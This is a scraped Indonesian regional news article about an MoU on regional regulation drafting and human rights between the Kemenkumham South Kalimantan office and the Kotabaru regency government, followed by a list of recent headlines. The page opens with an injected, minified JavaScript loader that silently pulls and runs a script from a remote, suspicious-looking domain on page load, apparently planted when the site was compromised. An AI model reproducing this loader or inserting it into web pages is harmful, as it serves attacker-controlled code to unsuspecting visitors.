(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kemenkumham Kalsel MoU dengan Pemkab Kotabaru


BANJARMASIN, Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kemnkum HAM) Kalimantan Selatan kedatangan tamu dari Pemkab Kotabaru terkait nota kesepahaman atau memorandum of understanding (MoU).

Kanwil Kemenkumham Kalsel dan Pemkab Kotabaru menandatangani MoU tentang pembentukan, pelayanan, pengembangan budaya hukum serta penghormatan pemajuan dan pemenuhan hak asasi manusia di Kabupaten Kotabaru.

Tujuan nota kesepahaman bersama untuk meningkatkan kualitas substansi dan koordinasi pembentukan peraturan daerah di Kabupaten Kotabaru. Peningkatan kesadaran hukum menuju terbentuknya masyarakat yang cerdas dan taat hukum, serta meningkatkan pelayanan hukum dan penghormatan, pemajuan, dan pemenuhan HAM.

Penandatangan MoU disaksikan Kepala Divisi Administrasi Edy MS Hidayat, Kepala Divisi Pelayanan Hukum dan HAM Subianta Mandala, Kepala Divisi Pemasyarakatan Alfi Zahrin dari Pemkab Kotabaru diwakili Kepala Bagian Hukum Setda Kotabaru Akhmad Rajudinoor.

Kabag Hukum Setda Kotabaru Akhmad Rajudinoor mengapresiasi atas sambutan Kanwil beserta jajarannya dimana telah lama terjalin kerjasama antara Pemkab Kotabaru melalui pembangunan Lapas.

“Dengan kerjasama ini diharapkan perancangan Perda dapat dilakukan harmonisasi, sehingga hasil dari rancangan Perda nanti dapat bermanfaat bagi masayarakat,” katanya.

Akhmad juga menyampaikan tujuannya datang ke Kanwil untuk dapat menjalin kerjasama dengan Kemenkumham dalam melakukan Perancangan Perundang-undangan (legal drafter), dan pembinaan bagi para Perancang Perundang-undangan di Kotabaru yang memerlukan bantuan dari Kemenkumham.

“Terkait perancang, untuk bisa dididik dengan baik di provinsi. Untuk saat ini di Provinsi Kalsel juga belum ada Perancang Perundang-undangan. Jika suatu saat provinsi atau kabupaten terdapat legal drafter, diharapkan Kemenkumham dapat menjadi pendamping untuk melakukan pembinaan,” ungkap Akhmad.

Sementara itu, Kakanwil Kemenkumham Kalsel, Ferdinand Siagian menjelaskan, masalah legal drafter adalah kewenangan Kanwil Kemenkumham Kalsel, dimana jika ada pembuatan produk hukum, pihaknya bisa diikut sertakan.

“Dari Kementerian Dalam Negeri juga menyampaikan bahwa setiap ada produk hukum yang akan diterbitkan, harus ada perwakilan dari Kemenkumham,” ungkap Kakanwil. (rico)

Reporter:Rico
Editor:Bie

Desy Arfianty

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

3 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

4 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

4 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

8 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

12 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.